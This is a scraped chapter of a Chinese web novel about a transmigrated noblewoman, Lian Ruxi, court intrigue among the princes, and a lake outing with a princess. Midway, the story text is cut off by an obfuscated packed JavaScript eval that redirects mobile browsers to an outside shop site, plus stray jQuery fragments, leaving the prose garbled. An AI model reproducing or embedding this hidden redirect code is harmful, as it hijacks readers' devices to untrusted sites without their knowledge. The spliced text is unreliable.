文趣网 > 其他小说 > 和前男友绑定了辅佐系统 > 47. 他欠我钱
    连茹习承认,她对萧铖明这个人了解太少了,正如此刻,她看不清他直达眼底的笑意。

    萧铖明似乎没想让她回答,在察觉气氛有些微妙时,主动别过了头。

    寒门子弟在正厅吟诗作对,肆意展现自己的才华。

    萧铖明听见时只是微微蹙眉,他手中的茶已饮尽,正要续杯时,他忽然停顿了。

    连茹习扶案前倾,想看出声者是谁,正厅内的人声如洪钟,一字一顿的阐述自己的想法,他的思想前卫,他的言语通透易解。

    与之前几人的言论不一样,他没有施加过多华美的辞藻,他似乎只是将内心的想法说出,语言简短,直戳心底。

    连茹习看着萧铖明停留在半空的手,她能看出他很满意。

    可能是那人能完美的诉说心中的一切,之后的几人在发言时总会刻意的问他,他起身淡然一笑,诉说自己的观点。

    正厅约莫三四十人,其中不乏声音相同,蓄意模仿之人,可每当他发言时,连茹习总能精准锁定他。

    连茹习觉得这种人,站在大街上随便说两句都有人信。

    萧铖明端坐在一旁,静静等待他们结束。

    众人离去时,萧铖明三步并两步,急匆匆的冲着那人去了。

    他上前与他交谈,萧铖明知道了他的名字,他叫文钦。

    两人聊天是截然不同的画风,萧铖明受府上的文人熏陶,他说话充满文艺,他的一言一行似乎披上了华美的外衣。

    而文钦说话简短有力,三言两语间他清晰的指出了萧铖明谈论问题的漏洞,萧铖明觉得这样的人很真实。

    语言优美华丽是一种天赋,同样,语言简短朴素深入人心又是另一种天赋。

    两种天赋同样难得,但当一种天赋成为主流时,另一种天赋就显得尤为珍贵。

    文钦就是后者,萧铖明坦言,今日过后上京定会涌现出一批学习和借鉴文钦的人,他甚至可以再等等,等一个能中和这两种天赋的人出现。

    但他不想,他只要最好的,模仿者于他而言是赝品,他不要赝品。

    二人的背影被夕阳拉的很长,连茹习识趣的退后。

    许是一心扑在萧炳明和萧铖明身上,她时隔两天才看见萧煜明的信。

    萧煜明说阳春三月,枯木生翠,他想约她游湖,与之一同的还有其他人。

    连茹习将信纸看了好些遍,她甚至将信纸放在火光下来回翻转,但没有任何玄机。

    这只是一张普普通通的信纸。

    说实话,她其实并不明白萧煜明写这封信的目的,他们之间闹的还不够难堪吗?

    上京城的流言蜚语无孔不入,他真的能做到视若无睹吗?

    信上说有一群人,那一群人中谁不能给她写信呢,为何非得是萧煜明?她和萧煜明有什么特殊的关系吗?

    良久她摇了摇头,原主的爱真诚热烈,她愿意为爱抛弃自己的名声,但特殊关系不行。

    因为一但她和萧煜明成为特殊关系,那萧煜明这辈子都不会把她放在爱人的位置上。

    关系一但定型,就很难改变。

    烛火点燃信的末尾,燃烧的纸张在火盆中逐渐化成灰烬。

    连茹习想,原主于他只是利用。

    信上约定的日期是春分,如约到达清烟湖时,连茹习从马车上走出。

    清烟湖畔的杨柳已抽出翠绿纸条,树下的野草聚成一片青绿,黄鹂在树上鸣叫,雀鸟飞行于高空,湖心亭中的人见她下车,忙向她招手。

    湖水荡漾间,招手的人向她跑来,是萧婵嫣。

    淡粉色的衣裙随风飘动,远处的桃花与她相映,连茹习笑着给她行礼。

    萧婵嫣扶起她的手,“我们好久没见了,之前我父王一直让我学规矩来着,都没空约你出来。”

    两人并肩往湖心亭走,几位皇子在湖心亭下谈笑,连茹习一一向几位皇子行礼,她的视线扫过五皇子。

    五皇子右耳至脖子处有一道浅浅的疤痕,他目光灼灼,身材硬朗,举手投足间没有其余几位皇子的规矩束缚。

    他像一位久经沙场的武将,扫视打量的目光仿佛毒蛇盯上猎物,他眼里满是对自己的肯定。

    连茹习想到了原文对他的描写,死的很早的犟种。

    连茹习承认萧焻的基因有点东西,六个孩子没一个蠢的。

    萧燧明不擅言语,但却能看透很多东西,萧烩明是武将,但不愚蠢。

    《帝王书》里他死的很早,他精明的踩中了萧煜明给他挖的坑,萧铖明警告过他很多次,他就是不听,他只听从萧焻的命令。

    萧煜包容他的一切,他的鲁莽在萧焻眼里是直率,他的无礼是不拘小节,他从不为了别人委屈自己。

    他做事从不三思,想一出是一出,连茹习承认,他很天才,行军打仗几乎没有败绩,他对于危险的感知超乎常人,这样的人如果有野心,将会是萧煜明最大的对手。

    他的优点足够优秀,他的缺点也同样致命,他不听劝,他自以为是,他聪明反被聪明误。

    他只听从萧焻的命令,萧焻说什么他便信什么,太子的命令他充耳不闻,太傅的指导他一笑而过,他们能给出什么有用的东西?

    他只信萧焻,萧焻不下达命令时,他便以自我为中心,他看得出别人的恶意,他无聊时还会刻意逗弄取笑,他的性格顽劣到极点。

    他还是个犟种,他只认自己的道理,别人巧舌如簧与他无关,他只听自己想听的,只做自己想做的。

    他是第一个死的皇子。

    萧焻死后,他的靠山没了,没人愿意留下一个不可控存在。

    萧煜明曾招揽过他,他提醒他小心驶得万年船,但他太狂妄,他只接受正儿八经明面上的争抢,阴沟里翻船,他一翻一个准。

    他最后死于一个他不屑的小把戏上,临死前他怒斥萧煜明不讲武德,萧煜明拿着白布擦手,他没有理会将死之人。

    武德在帝位面前算什么?不可控因素当然要早早消失。

    一棵只允许萧焻雕琢的良材不是良材,那是朽木,而萧煜明不会雕琢朽木。

    等连茹习行礼过后,萧婵嫣拉着她远离了湖心亭。

    连茹习看着不远处的缓缓走来的人,阮译行怎么也来了?

    萧婵嫣见她忽然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17727062|206617||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    停下,顺着她的目光看过,她看见了萧煜明。

    她想起上京城以及刚刚几位世家贵女的谈论,连茹习不会真的如她们说的那样吧?

    “茹习,你在看太子皇兄?”萧婵嫣问。

    连茹习错愕,萧婵嫣接着问,“难不成你真的喜欢太子皇兄?”

    女子十六岁有喜欢的人很正常,太子皇兄一表人才,她不喜欢才不正常,萧婵嫣说服自己。

    连茹习为自己辩解,“刚刚那人,他欠我五百两,三年没还。”

    萧婵嫣:“茹习走,本郡主为你撑腰,今日这五百两必须要回来!”

    那可是五百两啊,也就连茹习这个傻子这么镇定!

    连茹习一把拉过急冲冲想去要债的萧婵嫣,“他家也不容易,等游湖结束后我再问问他,这么多人,他的脸面……”

    萧婵嫣:“她都欠你五百两了,你还在乎她的脸面?”

    “他也不是故意不还的……”

    萧婵嫣看着远处的女子,确实,如果不是真的有困难会让一个女儿家抛头露面出去借钱呢?

    “行,那说好,如果要不回来你找我,本郡主帮你。”

    连茹习点头,“那我先谢谢郡主,不知郡主要带我去哪?”

    萧婵嫣重新挽上她的手,“茹习,这清烟湖附近有一处桃源,我们正好可以去看看。”

    “今日虽然是太子皇兄组织的游湖,但我刚刚问过了,他没什么想法,单纯是让我们聚一聚。”

    “也不一定,也可能是皇后娘娘默许的,皇后娘娘最近想为太子以及其他几位皇子选妃,我们先去桃林看看,选妃还要好久呢。”

    萧婵嫣拉着连茹习说了一堆,选妃这事连茹习有印象,皇后和万贵妃准备了好久,最后因为什么事不了了之了。

    因为什么事连茹习想不起来了,她只知道这事被耽搁了,之后很久皇后都没有找到重新举办的机会。

    一片粉色出现在二人面前,桃枝上花开朵朵,粉色压在枝头,些许绿意浮现在花朵之间。

    淡淡的香气随风飘散,萧婵嫣拉着连茹习进入。

    桃林很大,连茹习从外往里看看不到尽头,两人穿梭在桃林。桃林深处有一处凉亭,萧婵嫣二话不说坐了上去。

    从一见面就往桃林去到二人穿梭在桃林中,萧婵嫣完全没有看花的意思,她只是想把她带到一处安静的地方。

    连茹习手上把玩着刚折的桃枝,她坐在她旁边,“有什么事说吧,我听着呢。”

    萧婵嫣有些诧异,连茹习怎么知道的,她明明伪装的很好,“你怎么看出来的?”

    连茹习:“一个喜欢花的人都不看花了,那说明有更重要的是呗。”

    萧婵嫣不好意思的笑笑,“我确实有事想跟你说,我…就是…我……”

    除了第一句话,剩下的话磕磕绊绊,连茹习看着有些娇羞的少女,她大概能猜出点什么,她说,“你有喜欢的人了?”

    萧婵嫣慌乱,下意识反驳,连茹习接着猜,“看样子还不是太子殿下。”

    萧婵嫣没有反驳,连茹习接着说,“既然你不说,那我就接着猜了……”